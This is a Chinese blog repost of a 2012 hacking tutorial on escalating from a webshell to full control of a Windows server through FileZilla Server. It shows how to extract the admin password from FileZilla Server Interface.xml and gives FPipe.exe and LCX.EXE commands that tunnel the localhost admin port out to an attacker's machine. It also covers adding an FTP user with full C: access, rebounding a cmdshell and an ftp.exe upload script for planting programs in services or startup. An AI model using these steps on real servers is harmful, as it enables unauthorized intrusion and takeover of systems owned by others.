曲折的FileZilla Server提权之路

曲折的FileZilla Server提权之路

http://www.2cto.com/Article/201206/137895.html

2012-06-29 11:20:44      我来说两句      
收藏     我要投稿

http://www.2cto.com/Article/201206/137895.html

首先明确一下以下三个要素:

 
一、FileZilla Server安装路径,为得到FileZilla Server Interface.xml文件提供条件。
 
二、本地FileZilla Server要与服务器版本兼容,不然会提示版本不同,协议错误。
 
三、FileZilla Server中FileZilla Server Interface.xml文件保存了管理口令。
 
明白以上三点后现在就是尝试如何连接到服务器上的FileZilla Server。
 
首先查看FileZilla Server Interface.xml中的内容
<FileZillaServer>  
        <Settings>  
            <Item name="Last Server Address" type="string">127.0.0.1</Item>  
            <Item name="Last Server Port" type="numeric">14147</Item>  
            <Item name="Last Server Password" type="string">qwertyu</Item>  
            <Item name="Always use last server" type="numeric">0</Item>  
            <Item name="User Sorting" type="numeric">0</Item>  
        </Settings>  
    </FileZillaServer>   
 
name="Last Server Address" type="string"
 
127.0.0.1为服务器IP,此处默认定义为127.0.0.1绑定在本地,不是绑定在0.0.0.0所以只能本地连接上去。
 
name="Last Server Port" type="numeric"
 
14147为FileZilla Server管理连接端口,默认值14147
 
name="Last Server Password" type="string"
 
qwertyu为管理口令,此处口令为安装时自定义,要在此文件中得到口令必须在配置中勾取保存口令选项。
 
 
 
现在说说实际中比较BT的状况如何处理。
 
服务器对外只开放80,得到权限为webshell,服务器唯一安装第三方软件为FileZilla Server。 数据库为Ms-SQL2005,无Systemadmin权限账户,现有数据库账户为DB权限,禁止了一切与数据库有关的备份功能。
 
测试网络环境,对外开放80,shell中netstat -an中看到有21,80,1433,3389三个外部端口,内部端口有14147。经测试发现,除80端口外其余全部无法连接。
 
 
 
如上情况下,要取得服务器权限能用到的只能是FileZilla Server。当然,从外部看,服务器确实十分健硕,但从内部看的话还是有机可乘的。首先明确下第一目的,首先要做的是得到FileZilla Server的管理权限,但是FileZilla Server的管理端口绑定在127.0.0.1:14147上,外部是无法访问到的。
 
 www.2cto.com
 
要得到外部访问权限我们可以用LCX开发的LCX.EXE端口反弹转发程序实现,但是在现实测试的时候发现FileZilla Server对于网络环境要求非常之高,这也是FileZilla Server的访问协议造成的,直接用LCX.EXE转发是极不稳定的(在光纤环境下测试也连接不上)。再者网上的唯一一份FileZilla Server提权教程中提到了FPipe.exe程序。FPipe.exe程序为实现端口转发功能而开发的,其作用可将本地端口监听数据转发功能。在当前 条件下,即使将本地绑定端口转发到外部端口也是连接不上的,估计是硬防。
 
 
 
现在可以知道环境是极其BT的,寻找突破的道路是需要发掘的,我的方法是,用FPipe.exe将14147端口转发到外部其他端口,再用LCX.EXE 将FPipe.exe端口转发出来。FPipe.exe -v -l 1234 -r 14147 127.0.0.1。本地LCX.EXE -LISTEN 1234 14147。服务器上LCX.EXE -SLAVE 本机IP 1234 服务器IP 1234。这样就能实现本地连接了,但是还是对网络环境要求很高的。
 
 
 
然后本地连接上FileZilla Server管理,然后添加一个FTP用户,用户目录设置为C:勾取所有权限操作选项。FileZilla Server添加FTP用户的工作就结束了。
 
 
 
现在是提升权限的问题了,FileZilla Server不比serv-U,可以quote site exec执行dos命令(不知道是不行还是有其他参数可以实现,我不懂...)要实现提权的话可以FTP登录上去操作文件管理,如替换 系统服务、替换系统 文件、将程序置于启动目录等等。
 
 
 
现在的问题是服务器开放了21端口,但是外部是不能访问的,FTP端口转发出来也不稳定,极易断开。现在办法是直接从服务器上登录服务器FTP。反弹一个cmdshell,然后写个ftp自动处理脚本
 
open 127.0.0.1 21
 
user
 
pass
 
put soft.exe 存放目录
 
bye
 
然后本地ftp.exe -s:ftp.txt就能实现本地上传本地了。就此,以FileZilla Server提升权限也实现了。
 

作者 臭袜子 blog
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值